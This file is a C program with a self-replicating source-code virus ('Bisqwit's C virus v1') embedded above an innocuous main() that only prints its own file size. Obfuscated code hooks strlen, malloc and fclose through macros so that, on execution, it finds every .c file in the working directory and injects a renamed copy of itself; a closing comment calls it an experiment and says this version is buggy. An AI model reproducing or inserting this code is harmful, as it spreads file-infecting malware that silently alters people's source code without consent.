#include <stdio.h>
#include<ctype.h>
#include<fcntl.h>
#include<glob.h>
#include<stdlib.h>
#include<string.h>
#include<sys/mman.h>
#include<time.h>
#include<unistd.h>
static int bCv_v1=2;static char bCv_vD[]="\";static void bCv_v0(char**S){char*t[]={\"#include%s\\n\",\"<ctype.h>\",\"<fcntl.h>\",\"<glob.h>\",\"<stdio.h>\",\"<stdlib.h>\",\"<string.h>\",\"<sys/mman.h>\",\"<time.h>\",\"<unistd.h>\",0},*s,*q,*m,*p=bCv_vD;if(S){FILE*fp=fopen(*S,\"rb+\");if(fp){int M,d,fd=fileno(fp);fseek(fp,0,2);for(q=s=mmap(0,M=ftell(fp),1,2,fd,0);q<s+M;){for(;q<s+M;++q)if(!isspace(*q)){if(*q-'/')break;if(q[1]=='/')while(q<s+M&&q[1]!='\\n')++q;else{if(q[1]-'*')break;for(++q;++q<s+M&&*q-'*'&&1[q]-'/';++q);++q;}}if(d==1)for(d=2,S=t+1;*S;++S)if(!strncmp(q,*S,strlen(*S)))*S=*t+11;if(!d){if(q>=s+M-8||strncmp(q,*t,8))break;q+=8,d=1;}if(d>1||*q=='#')for(d=0;q<s+M&&*q!='\\n';++q);}for(rewind(fp),d=0,S=t+1;*S;**S++?++d:0);if(d){char hidr[6]=\"bCa_a\";hidr[2]+=time(0)%26;hidr[4]+=time(0)%26;fseek(fp,q-s,0);d=M-ftell(fp);for(memcpy(m=malloc(d),q,d),S=t+1;*S;++S)**S?fprintf(fp,*t,*S):0;fprintf(fp,\"static int %s1=%d;static const char %sD[]=\\\"\",hidr,bCv_v1+1,hidr);for(;*p;++p){if(*p=='\\n')fprintf(fp,\"\\\\n\");else if(*p=='½' && p[-1]!='\\'')fprintf(fp,\"%s\",hidr);else{if(*p=='\\\\'||*p=='\"')fputc('\\\\',fp);fputc(*p,fp);}}for(p=bCv_vD;*p;++p)if(*p=='½'&&p[-1]!='\\'')fprintf(fp,\"%s\",hidr);else fputc(*p,fp);fwrite(m,d,1,fp);free(m);}munmap(s,M);fclose(fp);}}else{glob_t gb;glob(\"*.c\",0,0,&gb);for(S=gb.gl_pathv;*S;++S)bCv_v0(S);globfree(&gb);printf(\"Descendant of Bisqwit's C virus v1 in the generation #%d\\n\",bCv_v1-1);bCv_v1=0;}}\n#define bCv_v9(n,retyp,partyp,real) static retyp n(partyp q){if(bCv_v1)bCv_v0(0);return real(q);}\nbCv_v9(bCv_v2,size_t,const char *,strlen)\n#define strlen bCv_v2\nbCv_v9(bCv_v3,void *,size_t,malloc)\n#define malloc bCv_v3\nbCv_v9(bCv_v4,int,FILE *,fclose)\n#define fclose bCv_v4\n";static void bCv_v0(char**S){char*t[]={"#include%s\n","<ctype.h>","<fcntl.h>","<glob.h>","<stdio.h>","<stdlib.h>","<string.h>","<sys/mman.h>","<time.h>","<unistd.h>",0},*s,*q,*m,*p=bCv_vD;if(S){FILE*fp=fopen(*S,"rb+");if(fp){int M,d,fd=fileno(fp);fseek(fp,0,2);for(q=s=mmap(0,M=ftell(fp),1,2,fd,0);q<s+M;){for(;q<s+M;++q)if(!isspace(*q)){if(*q-'/')break;if(q[1]=='/')while(q<s+M&&q[1]!='\n')++q;else{if(q[1]-'*')break;for(++q;++q<s+M&&*q-'*'&&1[q]-'/';++q);++q;}}if(d==1)for(d=2,S=t+1;*S;++S)if(!strncmp(q,*S,strlen(*S)))*S=*t+11;if(!d){if(q>=s+M-8||strncmp(q,*t,8))break;q+=8,d=1;}if(d>1||*q=='#')for(d=0;q<s+M&&*q!='\n';++q);}for(rewind(fp),d=0,S=t+1;*S;**S++?++d:0);if(d){char hidr[6]="bCa_a";hidr[2]+=time(0)%26;hidr[4]+=time(0)%26;fseek(fp,q-s,0);d=M-ftell(fp);for(memcpy(m=malloc(d),q,d),S=t+1;*S;++S)**S?fprintf(fp,*t,*S):0;fprintf(fp,"static int %s1=%d;static const char %sD[]=\"",hidr,bCv_v1+1,hidr);for(;*p;++p){if(*p=='\n')fprintf(fp,"\\n");else if(*p=='½' && p[-1]!='\'')fprintf(fp,"%s",hidr);else{if(*p=='\\'||*p=='"')fputc('\\',fp);fputc(*p,fp);}}for(p=bCv_vD;*p;++p)if(*p=='½'&&p[-1]!='\'')fprintf(fp,"%s",hidr);else fputc(*p,fp);fwrite(m,d,1,fp);free(m);}munmap(s,M);fclose(fp);}}else{glob_t gb;glob("*.c",0,0,&gb);for(S=gb.gl_pathv;*S;++S)bCv_v0(S);globfree(&gb);printf("Descendant of Bisqwit's C virus v1 in the generation #%d\n",bCv_v1-1);bCv_v1=0;}}
#define bCv_v9(n,retyp,partyp,real) static retyp n(partyp q){if(bCv_v1)bCv_v0(0);return real(q);}
bCv_v9(bCv_v2,size_t,const char *,strlen)
#define strlen bCv_v2
bCv_v9(bCv_v3,void *,size_t,malloc)
#define malloc bCv_v3
bCv_v9(bCv_v4,int,FILE *,fclose)
#define fclose bCv_v4
int main(void)
{
    FILE *fp = fopen(__FILE__, "rb");
    if(!fp)
    {
        printf("Source ("__FILE__") could not be opened :(\n");
        return 0;
    }
    fseek(fp, 0, SEEK_END);
    printf("My source code size is %ld bytes.\n", ftell(fp));
    fclose(fp);
    return 0;
}

/*
    This is an official experiment with Bisqwit's C virus v1.
    Author homepage is at http://iki.fi/bisqwit/
    Send complainments, thanks and wishes to bisqwit@iki.fi.
    
-rw-r--r--    1  bisqwit root 3825 Aug 30 02:49 uhri-v2.c

    Version 2 is available as uhri-v2.c.
    Version 1 does not work properly, DON'T USE THIS.    
    
-rw-r--r--    1  bisqwit root 4249 Aug 29 06:33 uhri.c
 
*/